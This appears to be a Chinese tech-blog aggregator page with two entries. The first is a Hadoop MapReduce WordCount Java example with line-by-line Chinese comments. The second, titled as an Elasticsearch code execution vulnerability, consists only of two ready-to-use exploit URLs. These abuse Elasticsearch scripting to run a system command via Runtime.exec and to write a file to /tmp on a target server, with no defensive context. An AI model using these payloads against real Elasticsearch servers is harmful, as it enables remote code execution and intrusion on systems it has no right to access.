首页 文章 精选 留言 我的

精选列表

搜索[代码生成],共10000篇文章
优秀的个人博客,低调大师

WordCount代码实现详解

/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hadoop.examples; //导入必要的package import java.io.IOException; //报错类 import java.util.StringTokenizer; //StringTokenizer类,用于将空白字符作为分割符的类 import org.apache.hadoop.conf.Configuration;//Hadoop中用于读取配置信息的类 import org.apache.hadoop.fs.Path; //有关文件系统输入输出数据的类 import org.apache.hadoop.io.IntWritable; //封装定义了IntWritable类 import org.apache.hadoop.io.Text; //封装定义了Text类 import org.apache.hadoop.mapreduce.Job; //封装定义了Job类 import org.apache.hadoop.mapreduce.Mapper; //封装定义了Mapper类 import org.apache.hadoop.mapreduce.Reducer; //封装定义了Reducer类 import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; //文件输入要用到的类 import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; //文件输出要用到的类 import org.apache.hadoop.util.GenericOptionsParser; //GenericOptionsParser类,用来解释常用hadoop命令,并根据需要为Configuration对象设置相应的值 public class WordCount { public static class TokenizerMapper extends Mapper<Object, Text, Text, IntWritable>{ //自定义的TokenizerMapper类,继承自前面导入的Mapper类 private final static IntWritable one = new IntWritable(1); //实例化了一个IntWritable类的one对象并赋值为常量1 private Text word = new Text(); //实例化了一个Text类的对象word public void map(Object key, Text value, Context context //定义Map方法 ) throws IOException, InterruptedException { //这里说一下context类,它是Mapper的一个内部类,它用来与MapReduce系统进行通信,如把map的结果传给reduce处理。简单的说顶级接口用它在map或是reduce任务中跟踪task的状态,MapContext就是记录了map执行的上下文,在mapper类中,这个context可以存储一些job conf的信息,同时context作为了map和reduce执行中各个函数的一个桥梁,我们可以在map函数中处理这个信息 StringTokenizer itr = new StringTokenizer(value.toString());//实例化了一个以空白字符为分隔符的StringTokenizer类的对象itr while (itr.hasMoreTokens()) {//如果判断还有下一个分隔符(空格) word.set(itr.nextToken()); //则输出并返回之间的字符串给word context.write(word, one); //context.write方法将(word,1)这样的二元组存入context中 } } } public static class IntSumReducer //自定义的IntSumReducer类,继承自前面导入的Reducer类 extends Reducer<Text,IntWritable,Text,IntWritable> { private IntWritable result = new IntWritable(); //实例化了一个IntWritable类的result对象 public void reduce(Text key, Iterable<IntWritable> values,Context context//定义Reduce方法,这里迭代器(Iterator)是一种设计模式,它是一个对象,它可以遍历并选择序列(IntWritable)中的对象,而开发人员不需要了解该序列的底层结构。 ) throws IOException, InterruptedException { int sum = 0; for (IntWritable val : values) { sum += val.get();//将该词的出现次数相加 } result.set(sum);//将sum赋给result context.write(key, result);//输出最终结果 } } public static void main(String[] args) throws Exception { Configuration conf = new Configuration(); //运行MapReduce程序前都要初始化Configuration,该类主要是读取MapReduce系统配置信息,这些信息包括hdfs还有MapReduce,也就是安装hadoop时候的配置文件例如:core-site.xml、hdfs-site.xml和mapred-site.xml等等文件里的信息,有些童鞋不理解为啥要这么做,这个是没有深入思考MapReduce计算框架造成,我们程序员开发MapReduce时候只是在填空,在map函数和reduce函数里编写实际进行的业务逻辑,其它的工作都是交给MapReduce框架自己操作的,但是至少我们要告诉它怎么操作啊,比如hdfs在哪里,MapReduce的jobstracker在哪里,而这些信息就在conf包下的配置文件里。 String[] otherArgs = new GenericOptionsParser(conf, args).getRemainingArgs(); if (otherArgs.length < 2) { System.err.println("Usage: wordcount <in> [<in>...] <out>"); System.exit(2); }//If的语句好理解,就是运行WordCount程序时候一定是两个参数,如果不是就会报错退出。至于第一句里的GenericOptionsParser类,它是用来解释常用hadoop命令,并根据需要为Configuration对象设置相应的值 Job job = Job.getInstance(conf, "word count");//用Job.getInstance方法设置作业名为word count job.setJarByClass(WordCount.class); //为job的输出数据设置Key类 job.setMapperClass(TokenizerMapper.class); //设置Mapper类(Map阶段使用) job.setCombinerClass(IntSumReducer.class); //设置Combiner类(中间合并结果) job.setReducerClass(IntSumReducer.class); //设置Reducer类(Reduce阶段使用) job.setOutputKeyClass(Text.class); //为job的输出数据设置Key类,规定Reduce输出的Key类型为Text job.setOutputValueClass(IntWritable.class); //设置Reduce输出的Value类型为IntWritable for (int i = 0; i < otherArgs.length - 1; ++i) { //设置输入输出路径 FileInputFormat.addInputPath(job, new Path(otherArgs[i])); } FileOutputFormat.setOutputPath(job, new Path(otherArgs[otherArgs.length - 1])); System.exit(job.waitForCompletion(true) ? 0 : 1);//等待任务执行完毕退出 } }

优秀的个人博客,低调大师

Elasticsearch 代码执行漏洞

http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}} http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册